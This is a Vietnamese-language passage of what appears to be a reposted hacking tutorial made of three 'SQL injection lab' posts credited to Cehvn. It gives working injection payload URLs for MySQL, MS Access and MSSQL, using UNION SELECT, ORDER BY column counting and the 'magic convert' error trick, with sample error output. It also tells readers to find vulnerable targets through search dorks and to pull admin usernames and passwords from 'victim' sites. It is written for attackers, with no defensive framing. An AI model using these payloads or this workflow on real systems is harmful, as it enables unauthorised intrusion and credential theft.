vì đó chỉ là những table của hệ thống thôi, quan trọng là xác định được table chứa admin trong mớ hỗn độn phía trên. VD ta tìm được table chưa thông tin của admin là admins.
Ta tiến hành chuyển chuỗi 'admin' sang dạng hex đẻ dễ khai thác vd chuyển sang là ?
thì ta tiến hành tìm các column trong table admins đó bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,group_concat(column_name),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,CONVERT(group_concat(column_name) USING latin1),4,5,6 From Information_schema.columns where table_name=(0x?)--
http://demo.com.vn/index.php?id=-1 Union Select 1,2,unhex(hex(group_concat(columns_name))),4,5,6 From Information_schema.Columns where table_name=(0x?)--
sau công viẹc này ta đã xác định được 2 cloumn quan trọng nhất , VD là username và password.
Ta tiến hành lấy thông tin. Bằng cách
http://demo.com.vn/index.php?id=-1 Union Select 1,2,concat(username,0x2f,password)4,5,6 From admins--
0x2f: là dạng hex của kí tự /
Đối với CSDL MSACCESS:
là loại khó phá nhất trong các site dính SQLInj , lý do không phải do nó bảo mật, mà là do mặc định nó truy cập file mdb không bằng quyền admin, do đó table msysobjects chứa các table của nó ta không thể đụng được. Đụng vào CSDL này là phải blind hack (Hack đoán).
lỗi trả về của loại này thường xuất hiện các dấu hiệu sau: Jet database, ODBC Microsoft Access Driver. Khai thác loai này như sau:
Đầu tiên ta sử dụng lệnh UNION SELECT 1 FROM [Table_name]
[Table_name]: Là tên table bạn đoán nó sẽ chứa thông tin về Username và pasword của Victim. VD: Admin, Admins, Account, Thanhvien, Quantri, User, Users,...
VD: Bạn khai thác: http://demo.com.vn/news.asp?id=72Union select 1 from admin
lỗi trả về là:
Microsoft OLE DB Provider for ODBC Drivers error '80040e37'

[Microsoft][ODBC Microsoft Access Driver] The Microsoft Jet database engine cannot find the input table or query 'admin'. Make sure it exists and that its name is spelled correctly. (Dịch nôm na là không tồn tại table 'admin' trong CSDL)
đừng nản trí, hãy đoán tiếp http://demo.com.vn/news.asp?id=72 Union select 1 from admins
Microsoft OLE DB Provider for ODBC Drivers error '80004005'

[Microsoft][ODBC Microsoft Access Driver] The number of columns in the two selected tables or queries of a union query do not match.

/news.asp, line 16 (Dịch nôm na là: Số cột không cần bằng khi sử dụng truy vấn với Union)
Đến đây chúng ta đã biết table chứa thông tin về victim là 'admíns' đến lúc này bạn chỉ việc ngồi đếm số cột trong table đó bằng cách Union select 1,2,3,..,n from admins các bạn cứ đếm sao cho nó không báo lỗi nữa mà trên trang đó hiện ra những con số. Đến lúc này bạn lại phải đoán column chứa username và password rồi thay thế chúng vào những con số hiện ra đó sao cho không hiện ra lỗi tức là bạn đã đoán đúng.
VD: Bạn đếm được đến số 5 thì kô còn lỗi, Con số hiện ra đó là 2,3 và column chứa tên đăng nhập của admin là username, column chứa mật khẩu của admin là password thì bạn sẽ khai thác http://demo.com.vn/news.asp?id=72 Union select 1,username,password,4,5 from admins
Đối với CSDL MSSQL:
Lỗi trả về của bọn này thường xúât hiện các dấu hiệu sau:

Microsoft OLE DB Provider for ODBC Drivers ,ODBC SQL Server Driver, Gọi tắt là (lỗi OLE DB)
Cách khai thác bọn này sử dụng kĩ thuật "Magic convert". Kĩ thuật này được sử dụng như sau:
and 1=convert(int,(select top 1 table_name from information_schema.tables))--sp_password
Hoặc
and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('')))--sp_password
Trong bảng Information_schema.tables có chứa tất cả các table trong CSDL (Đây là gót chân Asin của bọn này )

-Nếu tìm ra được cái table_name đầu tiên ví dụ là table1
Check table tiếp theo của nó:

and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in('table1','table2',..,'table n')))--sp_password

cư như thế cho đến khi nào nó ra cái table_name chứa thông tin admin vd:tbladmin,admin,user,tbuser..

Bước 2: Get column

Tìm được cái table_name chưa thông tin admin rồi,ta tiến hành get column_name
giả sử table1 chứa thông tin về admin

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1'))--sp_password

vd ta tìm được column thứ 1 trong table1 là username
Tiếp tục get các column thứ 2 trong table1:

and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='table1' and column_name not in('username')))--sp_password

Nếu tìm được username/password trong table1 thì ta check pass của nó

Bước 3: Check pass
table_name là table1
column_name trong table1 là : username/password

and 1=convert(int,(select top 1 username%2b'/'%2bpassword from table1))--sp_password



Nguồn Cehvn

SQL injection lab 2 [Order by]

SQL injection lab 2 [Order by]


Order by được sử dụng để làm gì :

-Làm tiết kiệm thời gian attack.
-Nó được sử dụng để tính số field ,column có trong CSDL SQL.
Cú pháp: order by xx (với xx là số nguyên, để hiệu quả nên order by 100 đầu tiên để xác định ta đi đúng hướng)
VD:
http://ww.site.com/index.php?id=1 order by 100
Lỗi nhận biết

Error: Unknown column '100' in 'order clause'
--------------
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
site có hiện tượng khác lạ (dựa vào kinh nghiệm)

Nhưng cũng có site lại phải thêm dấu nháy và dấu -- hoặc -- - hoặc -- a hoặc /* mới order by được

-- : Hiểu đơn giản là tránh bị ghi log
- : Biến đoạn đằng sau dấu - thành chú thích.

Sau đây là các trường hợp thường dùng để Order by :
TH

cú pháp

Ví dụ
TH1: order by 100 http://ww.victim.com/index.php?id=1 order by 100
TH2: ' order by 100 http://ww.victim.com/index.php?id=1 ' order by 100
TH3: 'order by 100 http://ww.victim.com/index.php?id=1 'order by 100
TH4: chuyển sang union selecthttp://ww.victim.com/index.php?id=1 union select 1
Ví Dụ:

http://ww.victim.com/index.php?id=1 order by 1-- không lỗi
http://ww.victim.com/index.php?id=1 order by 2-- không lỗi
http://ww.victim.com/index.php?id=1 order by 3-- không lỗi
http://ww.victim.com/index.php?id=1 order by 4-- lỗi
vậy ta thấy site có 3 cột lỗi (vì order by 4 cột --> hiện lỗi)



Nguồn Cehvn

SQL injection lab 1 [khái niệm + checksite sqli]

[khái niệm + checksite sqli]


Khái niệm SQL injection:
1. Khái niệm: SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay, theo thống kê thì khoảng 75% hacker sử dụng kĩ thuật này để chiếm quyền điều khiển của hệ thống. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, Firefox,...

2.kiến thức cần biết:
-dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi. Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
- dấu thăng (#) và dấu (–): các dấu này để đánh dấu chú thích, nghĩa là những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ được xem là chú thích được bỏ qua khi thực hiện truy vấn.
- dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.
kiến thức database (CSDL) và ngôn ngữ thiết kế website (PHP, ASP).
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX (ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế (MySQL và PHP là 2 anh em song sinh , chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân hàng các hệ thống cần chế độ bảo mật rất cao!.
check 1 site SQL injection:
Bình thường để hack 1 site lỗi SQL injection bao gồm các bước :
B 1 : Check
B 2 : Order By (Đếm số cột liên quan trong câu query mà URL của site đó chạy )
B3 : Union Select

a) Bạn có thể search các trang web cho phép submit data ở bất kì một search-engine nào trên mạng, chẳng hạn như các trang login, search, feedback hoặc qua cách truyền tham số (Dork) VD: chitiet.php?id=21 , detail.asp?id=6,...

b) Khi tìm kiếm được mục tiêu cần tấn công chúng ta cần phải xác định được hệ quản trị CSDL của website đó ( đây là bước quan trọng) bằng cách nhìn tổng thẻ website, ngôn ngữ thiết kế, OS của server qua quá trình thăm dò. Ở đây tôi xin thống kê các database thường gặp đi cùng với ngôn ngữ thiết kế website.

c) khi xác định được mục tiêu thì các bạn cần kiểm tra các lỗi xem có khả năng tấn công dựa vào nó được không. Các kĩ thuật khai thác lỗi như sau:

· -Với các tham số được truyền vào VD: index.php?id=21 , index.asp?id=6,.. thì chúng ta chỉ cần thêm các kí tự dấu nháy đơn ('), dấu nháy kép ("), phần trăm 27 (%27), 00 phần trăm (00%) vào sau id để kiểm tra nếu nó hiện ra lỗi hoặc không hiện ra 1 cái gì (khác hoàn toàn với lúc ban đầu thì 90% bạn có khả năng khai thác được lỗi này - Sẽ trình bày rõ ở phần sau).

-Với các ô submit thông tin như tìm kiếm, login, contact, request,.. các bạn cũng làm tương tự.

Ví Dụ:

http://ww.victim.com/index.php?id=1 (giả sử đây là site bị lỗi SQL injection)
cú pháp

trạng thái
http://ww.victim.com/index.php?id=1' lỗi
--------
http://ww.victim.com/index.php?id=1" lỗi
--------
http://ww.victim.com/index.php?id=1%27 lỗi
--------
http://ww.victim.com/index.php?id=1 and 1=0 lỗi

http://ww.victim.com/index.php?id=1 and 1=1 không lỗi

share 1 số kinh nghiệm cho ae:
1. Nếu bạn check lỗi SQL Inj ở 1 website mà bạn không thấy lỗi hiện ra thì đừng nên bỏ qua chúng vì nó có thể bị admin làm cho ẩn đi.
2. Nếu không ra số đẹp khi Union thì hãy view Scoure nó lên và tìm, có thể nó ở trong đó.
3. Thay vì thêm ' vào sau id để kiểm tra thì các bạn có thể sử dụng kĩ thuật
sử dụng các phép toán: VD: and 1=1 hiện ra site , and 1=0 hiện ra site báo lỗi =>> Site đã bị dính sql inj
sử dụng các phép toán kiểu true fales: VD: 2>3 ; 2♥
1--1
BETWEEN 1 AND 3
'b' BETWEEN 'a' AND 'c'
2 IN (0,1,2)
CASA WHEN 1>0 THEN 1 END
' uuu' = 'uuu'
ISNULL(NULL)
ISNULL(COT(0))
1 IS NOT NULL
NULL IS NULL
Nếu tham số (id) của trang hiện tại là 3, tham số trang sau là 2, nếu ta dùng 3-1 , kết quả trả về là nội dung của trang có id=2 thì 99% là site này dính lỗi SQL Inj



Nguồn Cehvn